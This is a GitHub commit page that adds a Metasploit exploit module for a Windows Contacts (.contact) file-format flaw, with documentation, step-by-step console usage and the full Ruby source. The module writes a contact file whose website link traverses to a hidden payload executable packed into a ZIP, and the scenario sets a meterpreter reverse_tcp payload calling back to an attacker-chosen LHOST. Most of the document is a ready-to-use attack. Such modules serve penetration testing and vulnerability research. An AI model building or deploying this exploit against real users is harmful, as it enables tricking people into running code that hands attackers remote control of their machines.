Skip to content
Permalink
Browse files

Land #11669, exploit/windows/fileformat/microsoft_windows_contact

  • Loading branch information...
asoto-r7 committed Apr 10, 2019
2 parents 7b3682e + 94785da commit b32d116e9ae6d838ce5a32693dae472ca39994c0
@@ -0,0 +1,63 @@
## Description

This module allows remote attackers to execute arbitrary code on vulnerable
installations of Microsoft Windows. User interaction is required to exploit
this vulnerability in that the target must visit a malicious page or open a
malicious file. The flaw is due to the processing of ".contact" files <c:Url>
node param which takes an expected website value, however if an attacker
references an executable file it will run that instead without warning instead
of performing expected web navigation. This is dangerous and would be
unexpected to an end user.

Executable files can live in a sub-directory so when the ".contact" website link
is clicked it traverses directories towards the executable and runs. Making
matters worse is if the the files are compressed then downloaded "mark of the
web" (MOTW) may potentially not work as expected with certain archive utilitys.
The "." chars allow directory traversal to occur in order to run the attackers
supplied executable sitting unseen in the attackers directory. This advisory is
a duplicate issue that currently affects Windows .VCF files, and released for
the sake of completeness as it affects Windows .contact files as well.

## Vulnerable Application

Windows Contacts
(tested on Windows 10.0.18282)

## Verification Steps

1. `./msfconsole`
2. `use exploit/windows/fileformat/microsoft_windows_contact`
3. Configure the payload. For example: `set PAYLOAD windows/x64/meterpreter/bind_tcp`
4. Configure the payload parameters. For example: `set LHOST 192.168.1.1`
5. Enter the name of the user to be embedded in the contact, which will also be used as the filename for the .ZIP and .CONTACTS files. For example, `set FILENAME John Smith`
6. Enter the fake URL that the user must click to launch the payload. Note, this does not need to be a valid domain. For example: `set WEBSITE metasploit.com`
7. `run`
8. Confirm the ZIP file was created, and that it contains a `.CONTACT` file along with a payload in the `http` folder.

## Scenarios

### Exploiting a Windows 10 host

1. Configure the module-specific settings.

```
msf5 exploit(windows/fileformat/microsoft_windows_contact) > set WEBSITE metasploit.com
WEBSITE => metasploit.com
msf5 exploit(windows/fileformat/microsoft_windows_contact) > set FILENAME John Smith
FILENAME => John Smith
```

2. Configure the payload.
```
msf5 exploit(windows/fileformat/microsoft_windows_contact) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/fileformat/microsoft_windows_contact) > set LHOST 192.168.1.148
LHOST => 192.168.1.148
msf5 exploit(windows/fileformat/microsoft_windows_contact) > run
[+] Creating 'John Smith.zip'
```

3. Send the ZIP to the target machine.

4. On the target machine, extract the ZIP file, open the .CONTACT file in the Windows Contacts viewer, and click the URL in the "Website" field.
@@ -0,0 +1,107 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'fileutils'
require 'rex/zip'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows Contact File Format Arbitary Code Execution',
'Description' => %q{
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Windows.
User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The flaw is due to the processing of ".contact" files <c:Url> node param which takes an expected website value, however if an attacker references an
executable file it will run that instead without warning instead of performing expected web navigation. This is dangerous and would be unexpected to an end user.
Executable files can live in a sub-directory so when the ".contact" website link is clicked it traverses directories towards the executable and runs.
Making matters worse is if the the files are compressed then downloaded "mark of the web" (MOTW) may potentially not work as expected with certain archive utilitys.
The ".\" chars allow directory traversal to occur in order to run the attackers supplied executable sitting unseen in the attackers directory.
This advisory is a duplicate issue that currently affects Windows .VCF files, and released for the sake of completeness as it affects Windows .contact files as well.
},
'Author' =>
[ 'John Page (aka hyp3rlinx)', # Vuln discovery
'Brenner Little' # MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
['EDB', '46188'],
['URL', 'http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-CONTACT-FILE-INSUFFECIENT-UI-WARNING-WEBSITE-LINK-ARBITRARY-CODE-EXECUTION.txt'],
['ZDI', '19-013']
],
'DisclosureDate' => 'Jan 17 2019', # According to https://www.exploit-db.com/exploits/46188
'Privileged' => false,
'Platform' => 'win',
'Payload' => {
'DisableNops' => true
},
'DefaultOptions' => {
'DisablePayloadHandler' => true
},
'Targets' => [['Windows', { }]],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('WEBSITE', [true, 'The URL that the user must click to launch the payload.', 'www.metasploit.com']),
OptString.new('FILENAME', [true, 'The first and last name embdeed in the .CONTACT file (also used as the filename for the .CONTACT and .ZIP files)', 'John Smith']),
])
end
def exploit
contact_full_name = "#{datastore['FILENAME']}"
exe_filename = "#{datastore['WEBSITE']}"

xml_header = %Q|<?xml version="1.0" encoding="UTF-8"?>
\t<c:contact c:Version="1" xmlns:c="http://schemas.microsoft.com/Contact" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:MSP2P="http://schemas.microsoft.com/Contact/Extended/MSP2P">
\t<c:CreationDate>2019-04-10T20:19:26Z</c:CreationDate><c:Extended xsi:nil="true"/>
\t|

xml_body = %Q|
<c:ContactIDCollection>
<c:ContactID c:ElementID="492912d2-db87-4da2-9fb0-1a3533284d09"><c:Value>e3b2d76c-3355-4f54-b995-0ce0dcf84c8a</c:Value></c:ContactID>
</c:ContactIDCollection>
<c:NameCollection>
<c:Name c:ElementID="9c47b169-4385-40e9-97cf-cc2f55544c8d">
<c:FormattedName>CONTACT_FULL_NAME</c:FormattedName>
<c:FamilyName>CONTACT_LAST_NAME</c:FamilyName>
<c:GivenName>CONTACT_FIRST_NAME</c:GivenName>
</c:Name>
</c:NameCollection>
<c:PhotoCollection>
<c:Photo c:ElementID="9b2b24b3-2ce5-4553-abe1-8cb0cf7ad12e">
<c:LabelCollection>
<c:Label>UserTile</c:Label>
</c:LabelCollection>
</c:Photo>
</c:PhotoCollection>
<c:UrlCollection c:Version="1" c:ModificationDate="2019-04-10T21:15:00Z">
<c:Url c:ElementID="4aca9a0f-72fd-45ff-8683-1524caafd6e9" c:Version="1" c:ModificationDate="2019-04-10T21:15:00Z">
<c:Value c:Version="1" c:ModificationDate="2019-04-10T21:15:00Z">EXE_PATH</c:Value>
<c:LabelCollection>
<c:Label c:Version="1" c:ModificationDate="2019-04-10T21:15:00Z">Business</c:Label>
</c:LabelCollection>
</c:Url>
</c:UrlCollection>
</c:contact>|.gsub(/\n[ ]*/,'')

xml = xml_header + xml_body
xml.gsub!(/CONTACT_FULL_NAME/, contact_full_name);
xml.gsub!(/CONTACT_LAST_NAME/, contact_full_name.split(' ')[-1]);
xml.gsub!(/CONTACT_FIRST_NAME/, contact_full_name.split(' ')[0]);
xml.gsub!(/EXE_PATH/, "http.\\" + exe_filename);

exe = generate_payload_exe

zip = Rex::Zip::Archive.new
zip.add_file("/http/" + exe_filename, exe)
zip.add_file(contact_full_name + ".contact", xml)
zip.save_to(contact_full_name + ".zip")
print_good("Created '#{contact_full_name}.zip'")
end
end

0 comments on commit b32d116

Please sign in to comment.
You can’t perform that action at this time.